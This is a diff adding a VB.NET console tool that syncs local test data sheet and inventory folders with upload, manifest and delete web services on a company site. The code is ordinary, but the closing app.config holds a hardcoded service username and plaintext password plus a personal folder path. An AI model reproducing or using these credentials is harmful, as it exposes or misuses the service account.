||||
Dim requestDS As New DataSet("Request")
|
||||
Dim requestDT As New DataTable("RequestData")
|
||||
requestDT.Columns.Add("SyncPathAlias", GetType(String))
|
||||
requestDS.Tables.Add(requestDT)
|
||||
Dim requestDR As DataRow = requestDT.NewRow
|
||||
requestDR("SyncPathAlias") = FolderAlias
|
||||
requestDT.Rows.Add(requestDR)
|
||||
|
||||
'Get Dataset from XML response
|
||||
Dim manifestXML As String = CSFramework_Utilities.XMLData.DownloadXMLWithDatasetPost(manifestServiceUrl, requestDS, serviceCredentials)
|
||||
|
||||
My.Computer.FileSystem.WriteAllText(My.Application.Info.DirectoryPath & "\manifest.xml", manifestXML, False)
|
||||
|
||||
Dim ds As DataSet = CSFramework_Utilities.XMLData.DatasetFromXML(manifestXML)
|
||||
|
||||
AddToLog("Manifest downloaded with " & ds.Tables("ContentFile").Rows.Count & " files.", True)
|
||||
|
||||
'Build a list of files that should be uploaded
|
||||
Dim filesToUpload As New List(Of String)
|
||||
|
||||
Dim localFolderPath As String = ""
|
||||
Select Case FolderAlias
|
||||
Case "TestDataSheet"
|
||||
localFolderPath = appSettings.GetValue("TestDataSheetPath", GetType(String))
|
||||
Case "TestFolder"
|
||||
localFolderPath = appSettings.GetValue("TestFolderPath", GetType(String))
|
||||
Case "InventoryDataFolder"
|
||||
localFolderPath = appSettings.GetValue("InventoryDataStagingFolder", GetType(String))
|
||||
End Select
|
||||
|
||||
Dim discoveryFileCount As Integer = 0
|
||||
Dim discoveryFileEchoCount As Integer = 1000
|
||||
|
||||
Dim sourceFolder As New System.IO.DirectoryInfo(localFolderPath)
|
||||
AddToLog("Accessing local folder: " & localFolderPath, True)
|
||||
|
||||
For Each thisLocalFileInfo As System.IO.FileInfo In sourceFolder.GetFiles
|
||||
discoveryFileCount += 1
|
||||
If discoveryFileCount = 1 Then
|
||||
AddToLog("Found at least 1 file in local folder", True)
|
||||
End If
|
||||
If discoveryFileCount = discoveryFileEchoCount Then
|
||||
AddToLog("Discovery file count: " & discoveryFileEchoCount, True)
|
||||
discoveryFileEchoCount += 1000
|
||||
End If
|
||||
'Dim thisLocalFileInfo As New System.IO.FileInfo(thisLocalFile)
|
||||
|
||||
|
||||
If thisLocalFileInfo.LastWriteTimeUtc.Year = Now.Year Then
|
||||
Dim foundMatchingFileOnServer As Boolean = False
|
||||
If ds.Tables.Contains("ContentFile") Then
|
||||
For Each dr As DataRow In ds.Tables("ContentFile").Rows
|
||||
If dr("Filename").ToString = thisLocalFileInfo.Name Then
|
||||
Dim filesize As Integer = dr("Filesize")
|
||||
Dim datelastupdated As Date = dr("DateLastUpdated")
|
||||
datelastupdated = datelastupdated.ToUniversalTime
|
||||
If filesize = thisLocalFileInfo.Length Then
|
||||
If thisLocalFileInfo.LastWriteTimeUtc.ToString("yyyy.MM.dd.HH.mm.ss") = datelastupdated.ToString("yyyy.MM.dd.HH.mm.ss") Then
|
||||
foundMatchingFileOnServer = True
|
||||
Exit For
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
If Not foundMatchingFileOnServer Then
|
||||
filesToUpload.Add(thisLocalFileInfo.FullName)
|
||||
AddToLog("Requesting upload: " & thisLocalFileInfo.Name, True)
|
||||
End If
|
||||
End If
|
||||
Next
|
||||
|
||||
AddToLog("Found " & filesToUpload.Count & " files that need to be uploaded.", True)
|
||||
|
||||
'Upload Files to Server
|
||||
If Not testMode Then
|
||||
For Each thisFile As String In filesToUpload
|
||||
Dim thisLocalFileInfo As New System.IO.FileInfo(thisFile)
|
||||
Dim formParameters As New System.Collections.Specialized.NameValueCollection
|
||||
formParameters.Add("UploadType", FolderAlias)
|
||||
'Request("LastUpdatedDate")
|
||||
formParameters.Add("LastUpdatedDate", thisLocalFileInfo.LastWriteTimeUtc.ToString("yyyy-MM-ddTHH:mm:ss.fffffffZ"))
|
||||
'2015-12-11T17:38:05.9190462Z
|
||||
|
||||
Dim logMessage As New String("")
|
||||
Console.WriteLine("Uploading: " & thisFile)
|
||||
If HTTPUploader.UploadFile(uploadServiceUrl, serviceCredentials, thisFile, formParameters, logMessage) Then
|
||||
'this file is now staged
|
||||
AddToLog("Uploaded file: " & thisFile, True)
|
||||
|
||||
'My.Computer.FileSystem.DeleteFile(thisFile)
|
||||
Else
|
||||
|
||||
AddToLog("Upload FAILED for " & thisFile, True)
|
||||
AddToLog("Upload FAIL MESSAGE: " & logMessage, False)
|
||||
Console.WriteLine("ERROR: " & logMessage)
|
||||
End If
|
||||
|
||||
|
||||
Next
|
||||
End If
|
||||
|
||||
|
||||
'Create dataset for DeleteFile service
|
||||
Dim deleteDS As New DataSet("DeleteRequestData")
|
||||
|
||||
|
||||
'add request data
|
||||
Dim deleteRD As New DataTable("RequestData")
|
||||
deleteRD.Columns.Add("SyncPathAlias", GetType(String))
|
||||
Dim deleteDataDR As DataRow = deleteRD.NewRow
|
||||
deleteDataDR("SyncPathAlias") = FolderAlias
|
||||
deleteRD.Rows.Add(deleteDataDR)
|
||||
deleteDS.Tables.Add(deleteRD)
|
||||
|
||||
|
||||
'add filenames
|
||||
Dim deleteDT As New DataTable("Filenames")
|
||||
deleteDT.Columns.Add("Filename", GetType(String))
|
||||
deleteDS.Tables.Add(deleteDT)
|
||||
|
||||
If ds.Tables.Contains("ContentFile") Then
|
||||
For Each dr As DataRow In ds.Tables("ContentFile").Rows
|
||||
Dim localFileName As String = localFolderPath & "\" & dr("Filename").ToString
|
||||
If Not My.Computer.FileSystem.FileExists(localFileName) Then
|
||||
|
||||
Dim deleteDR As DataRow = deleteDT.NewRow
|
||||
deleteDR("Filename") = dr("Filename").ToString
|
||||
deleteDT.Rows.Add(deleteDR)
|
||||
|
||||
AddToLog("Requested " & FolderAlias & " Delete: " & dr("Filename").ToString, True)
|
||||
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
|
||||
AddToLog("Found " & deleteDT.Rows.Count & " files to delete.", True)
|
||||
|
||||
|
||||
'Delete obsolete files that were detected
|
||||
If Not testMode Then
|
||||
If deleteDT.Rows.Count > 0 Then
|
||||
Dim deleteResponseXML As String = CSFramework_Utilities.XMLData.DownloadXMLWithDatasetPost(deleteServiceUrl, deleteDS, serviceCredentials)
|
||||
AddToLog("Obsolete " & FolderAlias & " files deleted.", True)
|
||||
Else
|
||||
AddToLog("No obsolete " & FolderAlias & " files were detected.", True)
|
||||
End If
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
AddToLog("Exception in SyncFolder: " & ex.ToString, True)
|
||||
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,13 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>false</MySubMain>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<ApplicationType>2</ApplicationType>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("TestDataSheetUploader")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("Hewlett-Packard")>
|
||||
<Assembly: AssemblyProduct("TestDataSheetUploader")>
|
||||
<Assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2016")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("7fe555fe-f768-41e5-b89d-89289692ba0e")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("TestDataSheetUploader.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.TestDataSheetUploader.My.MySettings
|
||||
Get
|
||||
Return Global.TestDataSheetUploader.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<StartupObject>TestDataSheetUploader.Module1</StartupObject>
|
||||
<RootNamespace>TestDataSheetUploader</RootNamespace>
|
||||
<AssemblyName>TestDataSheetUploader</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>Console</MyType>
|
||||
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>TestDataSheetUploader.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>TestDataSheetUploader.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="HTTPUploader.vb" />
|
||||
<Compile Include="Module1.vb" />
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="XMLData.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config">
|
||||
<SubType>Designer</SubType>
|
||||
</None>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,81 @@
|
||||
Imports System.Xml
|
||||
Imports System.Net
|
||||
Imports System.IO
|
||||
|
||||
Namespace CSFramework_Utilities
|
||||
|
||||
Public Class XMLData
|
||||
|
||||
Public Shared Function XMLStringFromDataset(ByVal ds As DataSet) As String
|
||||
Dim sw As New StringWriter()
|
||||
ds.WriteXml(sw, XmlWriteMode.IgnoreSchema)
|
||||
Return sw.ToString()
|
||||
End Function
|
||||
|
||||
Public Shared Function DownloadXMLAsDataset(ByVal url As String, Optional ByVal credentials As Net.NetworkCredential = Nothing) As DataSet
|
||||
|
||||
Dim myXMLReader As XmlReader
|
||||
Dim myDataSet As New DataSet
|
||||
If credentials IsNot Nothing Then
|
||||
Dim myXMLResolver As XmlUrlResolver = New XmlUrlResolver
|
||||
myXMLResolver.Credentials = credentials
|
||||
Dim myXMLSettings As XmlReaderSettings = New XmlReaderSettings
|
||||
myXMLSettings.XmlResolver = myXMLResolver
|
||||
myXMLReader = XmlReader.Create(url, myXMLSettings)
|
||||
Else
|
||||
myXMLReader = XmlReader.Create(url)
|
||||
End If
|
||||
myDataSet.ReadXml(myXMLReader)
|
||||
Return myDataSet
|
||||
End Function
|
||||
|
||||
|
||||
Public Shared Function DownloadXMLWithDatasetPost(ByVal url As String, ByVal datasetToPost As DataSet, ByVal credentials As System.Net.NetworkCredential) As String
|
||||
|
||||
|
||||
Dim xmlrequest As HttpWebRequest = WebRequest.Create(url)
|
||||
xmlrequest.ContentType = "text/xml"
|
||||
xmlrequest.Method = WebRequestMethods.Http.Post
|
||||
xmlrequest.Credentials = credentials
|
||||
xmlrequest.Timeout = 2000000
|
||||
Try
|
||||
|
||||
Dim newStream As Stream = xmlrequest.GetRequestStream()
|
||||
datasetToPost.WriteXml(newStream)
|
||||
newStream.Close()
|
||||
|
||||
Dim xmlresponse As WebResponse = xmlrequest.GetResponse()
|
||||
Dim responseStr As String = ConvertStreamToString(xmlresponse.GetResponseStream)
|
||||
|
||||
|
||||
Return responseStr
|
||||
|
||||
Catch ex As Exception
|
||||
Return "DownloadXMLWithDatasetPost ERROR: " & vbCrLf & ex.ToString
|
||||
End Try
|
||||
|
||||
End Function
|
||||
|
||||
Public Shared Function ConvertStreamToString(ByVal InputStream As System.IO.Stream) As String
|
||||
Dim sr As System.IO.StreamReader = New System.IO.StreamReader(InputStream)
|
||||
Dim responseStr As String = sr.ReadToEnd()
|
||||
Return responseStr
|
||||
End Function
|
||||
|
||||
Public Shared Function DatasetFromXML(ByVal xml As String) As DataSet
|
||||
|
||||
Dim dataSet As DataSet = New DataSet
|
||||
|
||||
|
||||
Dim xmlSR As System.IO.StringReader = New System.IO.StringReader(xml)
|
||||
|
||||
dataSet.ReadXml(xmlSR)
|
||||
|
||||
Return dataSet
|
||||
|
||||
End Function
|
||||
|
||||
|
||||
End Class
|
||||
|
||||
End Namespace
|
||||
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
